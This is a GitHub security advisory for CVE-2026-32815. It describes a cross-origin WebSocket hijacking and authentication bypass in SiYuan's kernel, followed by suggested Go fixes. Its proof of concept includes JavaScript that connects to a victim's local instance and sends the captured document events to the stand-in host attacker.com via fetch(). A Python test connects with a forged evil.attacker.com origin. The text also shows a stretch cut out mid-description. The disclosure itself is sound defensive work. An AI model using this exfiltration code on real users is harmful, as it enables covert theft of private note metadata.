GitHub Advisoryadvisory · Go

GHSA-xp2m-98x8-rpj6 SiYuan Vulnerable to Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure

MEDIUM Published 2026-03-16 Modified 2026-03-30 Official page ↗
Aliases
CVE-2026-32815
Ecosystem
Go
Packages
github.com/siyuan-note/siyuan/kernel
Severity
Moderate
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Weaknesses
CWE-287
Reviewed
2026-03-16

Affected packages

• Go github.com/siyuan-note/siyuan/kernel: <= 0.0.0-20260313024916-fd6526133bb3 (no fix yet)

Description

Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure Summary SiYuan's WebSocket endpoint (`/ws`) allows unauthenticated connections when specific URL parameters are provided (`?app=siyuan&id=auth&type=auth`). This bypass, intended for the login page to keep the kernel alive, allows any external client — including malicious websites via cross-origin WebSocket — to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users. Combined with the absence of `Origin` header validation, a malicious website can silently connect to a victim's local SiYuan instance and monitor their note-taking activity. Affected Component • File: `kernel/server/serve.go:728-731` • Function: `serveWebSocket()` → `HandleConnect` handler • Endpoint: `GET /ws?app=siyuan&id=auth&type=auth` (unauthenticated) • Version: SiYuan // Victim has SiYuan running on localhost:6806 const ws = new WebSocket("ws://localhost:6806/ws?app=siyuan&id=spy&type=auth"); ws.onopen = () => console.log("Connected to victim's SiYuan!"); ws.onmessage = (event) => { const data = JSON.parse(event.data); // Exfiltrate document operations to attacker fetch("https://attacker.com/collect", { method: "POST", body: JSON.stringify({ cmd: data.cmd, data: data.data, timestamp: Date.now() }) }); }; ``` 3. Confirmed leaked events The following events are received by the unauthenticated WebSocket: | Event | Leaked Data | |-------|-------------| | `savedoc` | Document root ID, operation data | | `transactions` | Document title, ID, attrs (new/old) | | `create` | Document path, notebook info (name, ID) | | `rename` | New document title, path, notebook ID | | `renamenotebook` | New notebook name, notebook ID | | `removeDoc` | Document deletion event | 4. Cross-origin connection confirmed ```python import websockets, asyncio async def test(): uri = "ws://localhost:6806/ws?app=siyuan&id=attacker&type=auth" extra_headers = {"Origin": "https://evil.attacker.com"} async with websockets.connect(uri, additional_headers=extra_headers) as ws: print("Cross-origin connection accepted!") # SUCCEEDS asyncio.run(test()) ``` Result: Connection succeeds — no Origin validation. Attack Scenario 1. Victim runs SiYuan desktop (Electron, listens on `localhost:6806`) or Docker instance 2. Victim has `accessAuthCode` configured (server is password-protected) 3. Victim visits `attacker.com` in any browser 4. Attacker's JavaScript connects to `ws://localhost:6806/ws?app=siyuan&id=spy&type=auth` 5. WebSocket connection bypasses authentication 6. Attacker silently monitors ALL document operations in real-time: • Document titles ("Q4 Financial Results", "Employee Reviews", "Patent Draft") • Notebook names ("Personal", "Work - Confidential") • File paths and document IDs • Create/rename/delete operations 7. Attacker builds a profile of the victim's note-taking activity without any visible indication Impact • Severity: HIGH (CVSS ~7.5) • Type: CWE-287 (Improper Authentication), CWE-200 (Exposure of Sensitive Information), CWE-1385 (Missing Origin Validation in WebSockets) • Authentication bypass on WebSocket endpoint when `accessAuthCode` is configured • Cross-origin WebSocket hijacking — any website can connect to local SiYuan instance • Real-time information disclosure of document metadata (titles, paths, operations) • No user interaction required beyond visiting a malicious website • Affects both Electron desktop and Docker/server deployments • Silent — no visible indication to the user Suggested Fix 1. Remove the URL parameter authentication bypass ```go // Remove or restrict the auth page bypass // Before (vulnerable): authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") && strings.Contains(s.Request.RequestURI, "&id=auth&type=auth") // After: Use a separate, restricted endpoint for auth page keepalive // that does NOT receive broadcast events ``` 2. Add Origin header validation ```go util.WebSocketServer.HandleConnect(func(s *melody.Session) { // Validate Origin header origin := s.Request.Header.Get("Origin") if origin != "" { allowed := false for _, o := range []string{"http://localhost", "http://127.0.0.1", "app://"} { if strings.HasPrefix(origin, o) { allowed = true break } } if !allowed { s.CloseWithMsg([]byte("origin not allowed")) return } } // ... rest of auth logic }) ``` 3. Separate keepalive from broadcast If the auth page needs a WebSocket for keepalive, create a separate endpoint (`/ws-keepalive`) that only handles ping/pong without receiving broadcast events. Do not add keepalive sessions to the broadcast push channel.

Related

Alias · CVE (1)

  • CVE-2026-32815 SiYuan is a personal knowledge management system. vulnerability

Weakness · CWE (1)

  • CWE-287 Improper Authentication weakness

References